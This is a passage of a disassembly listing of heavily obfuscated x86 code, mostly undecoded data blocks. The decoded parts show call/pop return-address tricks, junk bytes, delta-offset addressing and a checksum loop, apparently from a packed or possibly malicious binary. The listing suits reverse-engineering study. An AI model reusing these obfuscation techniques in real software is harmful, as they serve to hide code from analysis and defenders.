; ---------------------------------------------------------------------------


loc_5D2E10:				; CODE XREF: sub_5D2D26+D3j
		call	dword ptr [ebp+7E90C31h]
		mov	ebx, [ebp+7E90939h]
		mov	ecx, 0F09h
		push	0
		push	edi
		call	sub_5D2E2C
		and	[edi-3Dh], bl
sub_5D2D26	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D2E2C	proc near		; CODE XREF: sub_5D2D26+FEp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5D2E2C	endp

; ---------------------------------------------------------------------------
		dd 0E860650Bh, 13h, 6B431990h, 8A43C2B4h, 7EE9E2FEh, 2AECADF1h
		dd 606C88C6h, 0F28B5861h, 0E183F961h, 66FCF8FCh, 0B80838BFh
		dd 0
; ---------------------------------------------------------------------------
		mov	[ebp+7E923C9h],	ecx
		sub	edx, edx
		clc
		mov	[ebp+7E90189h],	ebx


loc_5D2E7B:				; CODE XREF: sdfs____:005D2E85j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5D2E7B
		push	0
		push	ecx
		call	sub_5D2E92
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D2E92	proc near		; CODE XREF: sdfs____:005D2E8Ap

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5D2E92	endp

; ---------------------------------------------------------------------------
		or	[eax+6A89BEh], ebx
		push	ebx
		call	sub_5D2EB1
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D2EB1	proc near		; CODE XREF: sdfs____:005D2EA9p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5D2EB1	endp

; ---------------------------------------------------------------------------
		db 0F7h, 1, 0C7h
		dd 5227477Eh, 8166A3F0h, 0DE9CACFh, 88h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ah, 4C35646h, 20A38DCDh
		dd 0BE9F57Bh, 0A4000000h, 9EBACC11h, 0BBAAF24Fh, 958BD05Ch
		dd 7E9320Dh, 9E9h, 0A2160000h, 0B7498BAAh, 8D8B7F5Fh, 7E922E5h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 76C35747h
		dd 884CB1F6h, 6DBD2922h, 6007E930h, 959858Bh, 0E88007E9h
		dd 8B5061C1h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 68A0Fh, 9D890000h, 7E91CB5h,	1CA9BD01h, 0BD8307E9h
		dd 7E91C2Dh, 8A840F00h,	0F9000000h, 0B8h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 0E2F80056h, 0D25E2C53h, 68D0Fh, 95010000h, 7E9259Dh
		dd 4D5A8D8Dh, 6A07E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0FF7D6DC3h, 52006AE1h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 16C32F69h
		dd 17E59733h, 51B58B60h, 6607E92Fh, 8A57D781h, 0B1BD8361h
		dd 7E922h, 4F2840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0EE7123C3h, 6BE94995h
		dd 22B1BD83h, 0F0107E9h, 4DE84h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0BD8942ECh
		dd 7E91341h, 27DBBB66h,	22B1BD83h, 0F0307E9h, 47486h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0C48CD458h, 558D315Ah, 6007E91Eh, 0DE9h, 5E2DAD00h
		dd 2E2EAEA1h, 0C085DDAEh, 8C66474Bh, 69BD0BD9h,	8007E91Fh
		dd 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 818E1EC3h, 0FC90A4Ah, 19C84h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 23EB028h, 0A7E75C40h, 60FBB70Fh, 5E984B4h, 8000000h
		dd 8A979267h, 55858B61h, 6A07E90Ch, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0FDF3C350h
		dd 16E1BD89h, 810F07E9h, 6, 0F259D8Bh, 853307E9h, 7E91CE9h
		dd 3419589h, 509007E9h,	310F5250h, 4810Fh, 0BF660000h
		dd 585A9CF6h, 31BB6690h, 29006A99h, 0E91FC9BDh,	4E807h
		dd 3FF0000h, 0F60001Fh,	283h, 0F5A5300h, 0D8Fh,	8E900h
		dd 0FEA80000h, 8CC32D70h, 5061D985h, 14E8h, 3879B00h, 6D101B20h
		dd 28AFD17Ch, 0F14A7DA8h, 0BEF7F3C1h, 0D98B66EEh, 24448B5Bh
		dd 0AE86004h, 34000000h, 4C171B75h, 31BE10B6h, 5AD08B5Bh
		dd 0C4B45250h, 40BA310Fh, 5A12645Ah, 8B6158h, 880F5250h
		dd 6, 8B0Fh, 310F0000h,	585A1BB3h, 4244489h, 8E241ABBh
		dd 6A581Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0AFEA61C3h, 70A636EBh, 0FF552965h, 0E902D995h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0BA6D6E97h, 89F88B55h, 0ECD78585h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 3B5CD4E8h, 0CE94B69h, 8B000002h, 0E92A29BDh,	7D858B07h
		dd 0F07ECD7h, 0C7F9BFh,	18h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0EAC35343h,	469264FAh, 0FA8ADA8Bh
		dd 0D781B58Bh, 9D0107ECh, 7E90C19h, 1859858Bh, 6A07E9h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 6072F2C3h, 0CA0BB9Bh, 6E84A98h, 0DE000000h, 0B8A9DF33h
		dd 96F8BBEAh, 895F1237h, 299D8B06h, 8B07E901h, 0E90C5585h
		dd 0EDBD3107h, 8907E90Eh, 6A0446h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 1C1973C3h, 0B0024EA6h
		dd 0B58529E8h, 5007E924h, 19800Fh, 0FE80000h, 90000000h
		dd 1527E025h, 5638E797h, 0BCBDE331h, 0BF6640E9h, 895F9D59h
		dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0B70972C3h, 880F609Fh, 5,	58E28166h, 0F6BF0FC0h
		dd 3D9D8961h, 0FF07E91Fh, 0ECD77DB5h, 0FBBF0F07h, 4E8h
		dd 1F03FF00h, 5820F00h,	0BF000000h, 7EB803F9h, 0BB35BB50h
		dd 448B4A2Eh, 8E0F0424h, 3, 8BF98B66h, 35F3BB00h, 448904C4h
		dd 6A580424h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0EBDBC352h, 0D6DD392h,	858D4612h
		dd 7ECD785h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	7EC35242h, 0D605DA81h, 74B5240Bh, 60BB660Ch, 35BD8B12h
		dd 5007E92Fh, 0B0651BBFh, 2404892Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 5EC35343h, 476B64D9h, 658D89CAh
		dd 0FF07E931h, 0E902D995h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0F56BCD4h
		dd 688h, 919D8B00h, 6107E924h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 9FC35141h, 0C7933734h, 0E922B185h
		dd 307h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 85BD8324h, 7ECD7h, 13840Fh, 0C2B30000h
		dd 2EE98501h, 21E907E9h, 89000000h, 0E919CDBDh,	0C305007h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	1B71B589h
		dd 9E907E9h, 47000000h,	356C38BDh, 77CDF67Ah, 22B1BD83h
		dd 0F0307E9h, 45585h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 543E2A14h, 0BD83EB08h
		dd 7ECD785h, 27840F00h,	6A000004h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 7F6FC352h
		dd 0F0979828h, 85B5FF3Eh, 0F507ECD7h, 134995FFh, 0D3BB07E9h
		dd 8B785D01h, 0ECD779B5h, 0FEB70F07h, 106C7h, 6A0001h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0BF669CC3h, 6650AE46h, 3489D88Bh, 53006A24h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0F8A325E5h
		dd 30F4982Fh, 0DE8BC078h, 0B5FFC8B3h, 7ECD785h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E9C35646h, 95899BDEh
		dd 7E92081h, 1AB195FFh,	0BF0F07E9h, 79B58BFFh, 0B307ECD7h
		dd 0A5858922h, 8B07E90Ch, 0E9244985h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 8553517Ah, 316A05A6h, 0E92ED99Dh, 0C19D8B07h, 8B07E921h
		dd 0E91599BDh, 0C4868907h, 8B000000h, 0E919B19Dh, 0D958B07h
		dd 6A07E932h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0C52BC350h, 75EC4617h,	5F2B7363h
		dd 2441BD89h, 9D8B07E9h, 7E916A9h, 6A04C283h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 651FC350h, 8871557Eh, 6A205089h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 38C7C356h
		dd 0E534C536h, 9E9h, 350E6800h,	23E5EBD4h, 858D8F0Ah, 7ECECA1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 82C35646h
		dd 21A18D89h, 868907E9h, 0B8h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 59C35242h, 0F006A4Fh, 0B5FFD8BFh
		dd 7ECD785h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	4AC35545h, 605CAB74h, 0EF1CF025h, 0B2D8529h, 9D8B07E9h
		dd 7E91D0Dh, 2CD95FFh, 6A07E9h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 9C5DC6C3h, 518D09F5h
		dd 8107E92Fh, 0ECF5AFDFh, 13E952h, 0E5890000h, 0D2991FE9h
		dd 8E5D18B0h, 0E61ADE06h, 0DFF242CBh, 8E0F96DEh, 2, 0BB50D88Ah
		dd 1A3B9F03h, 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0BD8B182Ch, 7E9298Dh, 0D785B5FFh
		dd 9D8907ECh, 7E9055Dh,	302D95FFh, 0B58907E9h, 7E90055h
		dd 1EC9BD83h, 0F0007E9h, 3C84h,	3870F00h, 0F000000h, 0F50DAB7h
		dd 486h, 55BB6600h, 24348955h, 19830Fh,	0DE80000h, 0E0000000h
		dd 7DFE5F70h, 7CFA9270h, 0E7769234h, 23D9529h, 8B5B07E9h
		dd 0E92E599Dh, 85B5FF07h, 6A07ECD7h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0F79AC350h
		dd 0FFAD8DDFh, 0E91F9D95h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 89607D72h
		dd 0E91AFD8Dh, 2880F07h, 60000000h, 0B5FF6161h,	7ECD785h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 8CC35040h
		dd 0FFFC3691h, 0E9013995h, 8E807h, 0B200000h, 984BA37Eh
		dd 9D0B4160h, 7E90E19h,	820F535Bh, 6, 13919D8Bh, 835F07E9h
		dd 0E929CDBDh, 840F0207h, 59h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 44C35646h, 7BA8E6F9h, 0B13B44BDh
		dd 0DAB70F1Fh, 875858Bh, 6A07E9h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0F838E9C3h, 1DB2E0EAh
		dd 14D8D09h, 0C607E9h, 0AD85C700h, 7E924h, 50000000h, 132F6BFh
		dd 98E95B71h, 0FCFFFFF2h, 6AC18Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0BB661AC3h, 0AE99171h
		dd 14000000h, 0E194C4D6h, 4EF7836Dh, 61858D81h,	6A07E908h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 9DEEC357h, 89563AECh, 0E925A59Dh,	0E8905B07h
		dd 14h,	1D438B54h, 0B3AA3A1Eh, 0BED8E139h, 925C1DC9h, 7B541F0Eh
		dd 0BB7EB360h, 34560276h, 57505F61h, 9D03905Bh,	7E93021h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0E0D0DEC3h, 0BD8B77D8h, 7E92075h,	6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 8DBDFAC3h, 0D1600813h, 14E8CBh, 0D1E00000h, 2733A64Bh
		dd 0C5FC20CEh, 0E00F04D2h, 3F87B761h, 0B70F3E5Bh, 880F5FDBh
		dd 6, 2A79BD23h, 858D07E9h, 7EDFE9Dh, 6D7A48BBh, 0D1BE602Fh
		dd 6040135Eh, 2125B58Bh, 45B807E9h, 617BD5E8h, 5C08361h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A0C35747h
		dd 88A0F50h, 0F000000h,	28Ch, 89616000h, 6A2404h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 735F9BC3h, 12E967h, 0F38D0000h, 6F1A5163h, 205BF983h
		dd 9E09CB03h, 612C8C9Ch, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 91EFA1C3h, 30618397h
		dd 5E9CFh, 0A6EE0000h, 6A5FD8F8h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0BF0F5183h
		dd 95895BF8h, 7E900ADh,	0FB995FFh, 6A07E9h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 8D8DD5C3h
		dd 7ECD72Ch, 0BBD1FFF8h, 5D276CB8h, 1B69BD83h, 0F0107E9h
		dd 7A85h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 8E65AFC4h, 7B2E251Eh, 6AD88B66h
		dd 0BD958902h, 9007E909h, 5E8h,	0E60F5A00h, 890F3816h
		dd 0Ah,	5E9h, 0F81CD00h, 505BAA27h, 55006A90h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0C2910005h
		dd 0FF6AF3BEh, 0E902CD95h, 0C1BD8907h, 0E907E919h, 0F2Bh
		dd 0E8h, 0ED815D00h, 7EDFEA7h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 5DC35747h, 7F9F4827h, 89386498h
		dd 0E91BD9B5h, 9858907h, 5107E91Bh, 16E1BD89h, 8D5B07E9h
		dd 0ECB40685h, 8E807h, 9C190000h, 70BDCFD1h, 1601352h
		dd 0E925718Dh, 11E907h,	0C29D0000h, 3294BD2h, 68ED2D62h
		dd 0BE8A03D1h, 61E79D8Bh, 0EE9505Fh, 98000000h,	6F0B8F1Eh
		dd 63943E6Ah, 9EF59E80h, 24048950h, 9EF3F781h, 0FF647652h
		dd 35h,	9858900h, 0BF07E913h, 68924E92h, 258964h, 0F000000h
		dd 1584h, 0BE96000h, 0CD000000h, 5250A9A7h, 91961333h
		dd 0CB808418h, 85FF61EDh, 7E90F9Dh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0E1C35545h,	0B63BF345h, 0E381FA05h
		dd 4872C895h, 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0FF16D3C3h, 0E9170DB5h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0FD5C9614h, 95FFA628h, 7E9233Dh, 163E9h, 0BE900h, 0BA4F0000h
		dd 7D5B543Fh, 0ED3A33CBh, 8B00B0BFh, 5070E6D9h,	1F45BD29h
		dd 0E45F07E9h, 37BB6671h, 0F613CB3h, 13783h, 11E900h, 26400000h
		dd 7ED9A8E4h, 0B871E561h, 38B64462h, 0F0110BFh,	0BB66C8B6h
		dd 6BABC5Ch, 8B000000h,	0E91AD5BDh, 0DEBF0F07h,	0CE9C18Bh
		dd 37000000h, 0E2C54C5Ch, 0D6C5085Eh, 0C1EC52CBh, 850104E8h
		dd 7E9032Dh, 2269BD33h,	0F76607E9h, 18589E2h, 0BF07E908h
		dd 20A0276h, 9D8BC82Bh,	7E92E4Dh, 9E8D18Bh, 18000000h
		dd 0D6D36D31h, 5FA69FB9h, 7E8h,	1D227800h, 4B09DEE7h, 2A9D8529h
		dd 5B5B07E9h, 7519D89h,	0A5E907E9h, 66000000h, 8BB8ACBFh
		dd 185h, 83D88B00h, 8B6607C0h, 0C083DEh, 6890Fh, 0BD890000h
		dd 7E91259h, 830FD03Bh,	1Fh, 77E9h, 0E8565000h,	10h, 8C34A6B2h
		dd 5D0F17A4h, 4574CCEBh, 601B50A8h, 8B5B5B5Fh, 0FFFFFF8Dh
		dd 0AE9FFh, 84CD0000h, 0E0D65862h, 757016EEh, 0F01E183h
		dd 3F84h
		dd 13E800h, 31410000h, 7F89A874h, 3E079E42h, 5539FFAFh
		dd 3542F4D2h, 9A46BB70h, 835F55A5h, 0FFFFFFA5h,	810FFEFFh
		dd 3, 89FBBF0Fh, 195h, 0C19D8B00h, 0E907E92Ch, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+7ED7C76h]
		push	0
		push	esi
		call	sub_5D3F15
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D3F15	proc near		; CODE XREF: sdfs____:005D3F0Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5D3F15	endp

; ---------------------------------------------------------------------------
		db 3, 0Ch, 0BBh
		dd 0DB6DC96Eh, 66C82265h, 6A3EF6BBh, 95FFFC00h,	7E90C31h
		dd 4800Fh, 0BF660000h, 0B589A1C7h, 7E90F65h, 0FA6B9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0B0EC7376h, 0B3ECB12h, 55BD8B4Ch, 8307E91Eh,	0BD89FCE1h
		dd 7E91199h, 57006AFCh,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0F0E02B4h, 830FEB4Ah, 6, 2A659589h
		dd 9E807E9h, 0AB000000h, 0FE7DB4CCh, 0A1232AF3h, 5BDE8B66h
		dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 830F84A4h, 3, 8BFBBF0Fh, 0E92075BDh
		dd 0BA07h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0C8D8CC3h, 0C233AD1Dh, 0D003E8D1h
		dd 7504E983h, 69CB80F4h, 2F258D01h, 880D07E9h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0EFC2C350h, 8B19C368h, 0D958BDAh,	6A07E932h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0E9E6C357h, 7, 7967B5A9h,	8BEE6E46h, 0E922E58Dh
		dd 0B9B58907h, 5007E909h, 188BC28Bh, 188BC103h,	0E8D1C18Bh
		dd 188BC203h, 6840F58h,	89000000h, 0E91A9D8Dh, 83F88B07h
		dd 0E91C2DBDh, 840F0007h, 0A4h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0C5C35545h,	0F11F91A7h, 6622499Ch
		dd 0B8B4DCBBh, 0
		dd 12E8h, 5780F200h, 0E22AF003h, 9B19F89Dh, 0CE1A5E9h
		dd 0F5B48AB1h, 19E3815Bh, 8D6B4160h, 0E94D5A8Dh, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 902A2E92h, 0E5958975h, 0FF07E92Ah, 57006AE1h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 0A69FB9D6h, 0A712945Fh, 52DF8B66h, 5BDFBF0Fh, 22B1BD83h
		dd 0F0007E9h, 55D84h, 7E900h, 6BAA0000h, 0A96FE0DDh, 0B1BD83A8h
		dd 107E922h, 55F840Fh, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0FCF60BC3h, 9D099C43h
		dd 7E91611h, 22B1BD83h,	0F0307E9h, 4F686h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 8FA8654h, 820F6041h,	6, 37EFE081h, 0E1BE6E90h, 6145D9B0h
		dd 53006A60h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 1996CB4Ah, 8C664A19h, 53006AD9h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0DBD4E542h
		dd 0BF8C7DA2h, 1ACA53EBh, 6A04E180h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 4FA7C356h
		dd 0DB816660h, 0B58B667Dh, 7E90911h, 99858961h,	0A07E910h
		dd 51840FC9h, 8B000001h, 0E90C5585h, 7E86007h, 2000000h
		dd 5FEAB1ECh, 0BA668C08h, 0F5E2F93h, 289h, 615F5300h, 4317DF81h
		dd 85331C83h, 7E91CE9h,	2BCF8160h, 10E3AD3h, 0E91729B5h
		dd 60506107h, 5250DE8Bh, 8A0Fh,	310F0000h, 10E9h, 0D5BB6900h
		dd 9D700EBDh, 0B426100Eh, 82A720DFh, 61585A1Dh,	6A240489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0C6F0C351h, 6E9D816h, 8B000000h, 9BFACB3Eh
		dd 358D29B0h, 107E916h,	0E91331BDh, 51006A07h, 365C685Bh
		dd 481E952h, 0CCCDA324h, 50006A16h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 97D194B4h, 0BD897EC3h
		dd 7E91739h, 2D995FFh, 6A07E9h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 8910C9C3h, 0ECD78585h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 24233FDFh, 0E2B9E30Dh, 0FB18D89h, 42E907E9h
		dd 6A000002h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 97E6C353h, 8F330EBEh, 0BFEC5DD6h
		dd 31C401B1h, 0D77D858Bh, 8E0F07ECh, 6,	8698589h, 0B58907E9h
		dd 7E91F59h, 1800C7h, 37BB0000h, 8B5A9E91h, 0ECD781B5h
		dd 0C5BD8907h, 8B07E92Eh, 0E9185985h, 0B1B58907h, 8907E909h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0DD0B1593h, 0E9933C0h, 0D38166D4h, 9D8BEF3Fh
		dd 7E90F3Dh, 0C55858Bh,	6A07E9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 80EA18C3h, 89ADD61Fh
		dd 12E80446h, 0C7000000h, 4C8F093Ah, 0FEDDF10Eh, 0A27EA853h
		dd 7EC9F1C2h, 0F608BFD1h, 505B0C19h, 348918B3h,	50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0DBBF0F46h, 0D77DB5FFh, 6A07ECh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 5D18B0C3h
		dd 4E8068Eh, 0FF000000h, 0E9001F03h, 5,	0A4EAD44Eh, 50605065h
		dd 0F29B352h, 0F525031h, 5A585A31h, 0D112BE58h,	8B617277h
		dd 0E9042444h, 14h, 80D8033Fh, 0A2FB393Dh, 6FB3C05Dh, 3589AE42h
		dd 0B4923275h, 4489008Bh, 4DBB0424h, 5871DC35h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0CC35343h, 0BAC6BC64h
		dd 3E9EDBF0h, 6782EBBh,	85858D20h, 6A07ECD7h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0B6C8C357h, 5E2F8E64h, 11E9h, 14F8A200h, 7BCAE13Bh
		dd 7B0DAC17h, 1E4E0A60h, 8D893765h, 7E91BF9h, 6A905090h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 798BC356h, 0CBBECAE2h, 52E6AC7Ah,	2850Fh
		dd 0DE8B0000h, 0D995FF5Bh, 6A07E902h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 37A7C350h
		dd 13F0622Ch, 0FDC38166h, 6A6137h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 23BF01C3h, 603E7CA4h
		dd 858BCE8Bh, 7E91F8Dh,	0B185C761h, 307E922h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 9928C357h, 860F53E5h, 6, 19C9B529h, 0F5B07E9h
		dd 88Ah, 9D8B5200h, 7E9022Dh, 45BF665Bh, 85BD83B9h, 7ECD7h
		dd 51840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 190424h, 52420000h, 693310C3h, 893BBA93h, 0E90741BDh
		dd 40E907h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 625729C3h, 5845E4F9h, 508E0E73h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 38BBC08Bh, 94DBF7Ah,	0E912C995h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 918B5298h
		dd 9E6B7DBBh, 0C3802A4Eh, 99BF6657h, 0B1BD8355h, 307E922h
		dd 411850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 8D9235C3h, 91851442h, 9D29E4EDh
		dd 7E91961h, 0D785BD83h, 0F0007ECh, 3DA84h, 0BE900h, 0F75B0000h
		dd 57FC4A36h, 1525DF5Fh, 85B5FF0Dh, 8907ECD7h, 0E934BD85h
		dd 4995FF07h, 6607E913h, 0B58BD88Bh, 7ECD779h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 22C35040h, 6C773AFh
		dd 10001h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	90C35747h, 14E9ED8Fh, 0C5000000h, 68417743h, 61C03B55h
		dd 6C289397h, 7469045h,	0E966D656h, 0Fh, 0DA445605h, 67D1842Ah
		dd 577E5715h, 964B4EE1h, 0E89D5BBBh, 8E85053h, 4A000000h
		dd 3C1A6CA7h, 0B707244Dh, 8B965F28h, 85B5FFF8h,	3307ECD7h
		dd 0E9092DBDh, 0B195FF07h, 8B07E91Ah, 79B58BDEh, 6A07ECD7h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0FE6EC356h, 8B730EFEh, 0E90DD5BDh, 0A8E0F07h
		dd 0E9000000h, 5, 638E50F5h, 0F19589C2h, 8B07E92Fh, 0E9244985h
